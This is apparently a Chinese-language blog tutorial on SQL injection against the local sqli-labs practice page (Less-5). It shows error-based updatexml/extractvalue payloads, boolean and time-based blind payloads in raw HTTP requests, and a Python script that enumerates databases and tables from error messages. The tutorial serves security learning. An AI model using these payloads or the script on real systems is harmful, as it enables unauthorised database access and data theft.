SQL盲注

updatexml()

UPDATEXML() 用于更新XML文档的特定节点或元素,并将其替换为新值。

UPDATE Products
SET ProductInfo = UPDATEXML(ProductInfo, '/product/price', '20.99')
WHERE product_id = 1;

在这个示例中,UPDATEXML() 函数会更新 ProductInfo 列中的XML数据,将 /product/price 节点的值替换为 20.99。这个更新只会应用于 product_id = 1 的行。

使用updatexml无需查询列的个数,原理就是参数不正确导致查询错误

select  * from  users  where id =1 and updatexml(1,user(),1);

使用concat函数进行字符串拼接

select  * from  users  where id =0 and updatexml(1,concat(0x7e,database()) ,1);

查询所有库名

SELECT SCHEMA_NAME
FROM INFORMATION_SCHEMA.SCHEMATA

获取数据库表名

select  * from  users  where id =0 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)) ,1);

limit一个一个查看

获取字段名

GET /Less-5/?id=1'and+updatexml(1,concat(0x23,(select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='users'+limit+1,1)),1)--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

脚本编写

获取数据库名

首先需要通过报错注入获取数据库的数量

payload:id=1 ' and updatexml(1, concat(0x23, (SELECT count(*) FROM INFORMATION_SCHEMA.SCHEMATA)), 1) --

import re
import requests

# 配置目标URL
url = "http://127.0.0.1/Less-5/?id="

# 配置请求头
header = {
    "Host": "127.0.0.1",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9",
}

# 获取数据库数量
def get_database_count():
    payload = "1 ' and updatexml(1, concat(0x23, (SELECT count(*) FROM INFORMATION_SCHEMA.SCHEMATA)), 1) -- "
    response = requests.get(url + payload, headers=header)

    # 提取错误信息中的数据库数量
    count_match = re.search(r"XPATH syntax error: '#(\d+)'", response.text)

    if count_match:
        return int(count_match.group(1))
    else:
        return 0
    
if __name__ == "__main__":
    print(get_database_count())

接下来写个函数存储数据库的库名

# 获取数据库名称
def get_databases():
    database_count = get_database_count()
    databases = []

    for i in range(database_count):
        payload = f"1' AND updatexml(1, concat(0x23, (SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {i}, 1)), 1) -- "
        response = requests.get(url + payload, headers=header)

        # 提取数据库名称
        db_match = re.search(r"XPATH syntax error: '#([a-zA-Z0-9_]+)'", response.text)
        if db_match:
            databases.append(db_match.group(1))

    return databases

获取数据库下的表名

首先获取数据库下,表的数量

def get_tables_count():
    databases = get_databases()
    db_tables = {}

    for db_name in databases:
        payload = f"1' and updatexml(1, concat(0x23, (SELECT count(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = '{db_name}')), 1) -- "
        response = requests.get(url + payload, headers=header)

        # 提取错误信息中的表数量
        count_match = re.search(r"XPATH syntax error: '#(\d+)'", response.text)

        if count_match:
            table_count = int(count_match.group(1))
            db_tables[db_name] = table_count
        else:
            db_tables[db_name] = 0

    return db_tables

接下来获取数据库的表名

# 获取数据库下的表名
def get_tables():
    db_tables = []
    db_tables_count = get_tables_count()

    for db_name, table_count in db_tables_count.items():
        tables = []
        for i in range(table_count):
            payload = f"1' AND updatexml(1, concat(0x23, (SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+=+'{db_name}' limit {i}, 1)), 1) -- "
            response = requests.get(url + payload, headers=header)

            # 提取表名称
            table_match = re.search(r"XPATH syntax error: '#([a-zA-Z0-9_]+)'", response.text)
            if table_match:
                table_name = table_match.group(1)
                tables.append(table_name)

        # 将数据库名称及其表名列表添加到二维数组中
        db_tables.append([db_name, tables])

    # 输出数据库名称及其对应的表名称
    for db_info in db_tables:
        db_name = db_info[0]
        tables = db_info[1]
        print(f"数据库 {db_name} 下有以下表:")
        for table_name in tables:
            print(table_name)


    return db_tables

extractvalue()

extractvalue只需要两个参数

GET /Less-5/?id=1'and+extractvalue(1,concat(0x23,(SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+=+'SECURITY'+limit+0,1)))--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

与updatexml没什么区别

布尔注入

lenght函数

获取字符串长度

SELECT length(database())

substr()函数

用于截取字符串

从1开始计数

SELECT substr(database(),1,1)

ascii()函数

将字符串转换成ascii编码

SELECT ascii( substr(database(),1,1))

sleep()函数

睡眠函数,用于配合if函数使用

if()函数

if(sql语句,正确执行这,错误执行这个)

注入流程

首先判断数据库长度

GET /Less-5/?id=1'and+length(database())=1--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

判断出数据库的长度为8

接着爆出数据库的库名

利用bp爆破快速爆破出表名

GET /Less-5/?id=1'and+ascii(substr(database(),§1§,1))=§32§--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

最后再将ascii解码即可,剩下查询表名也是这个套路,但是要limit一个个查,有点慢。

时间注入

GET /Less-5/?id=10'and+if(length(database())=7,sleep(5),1)--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

原理就是如果数据库长度为xxx就延时,如果不是就执行1

发表新评论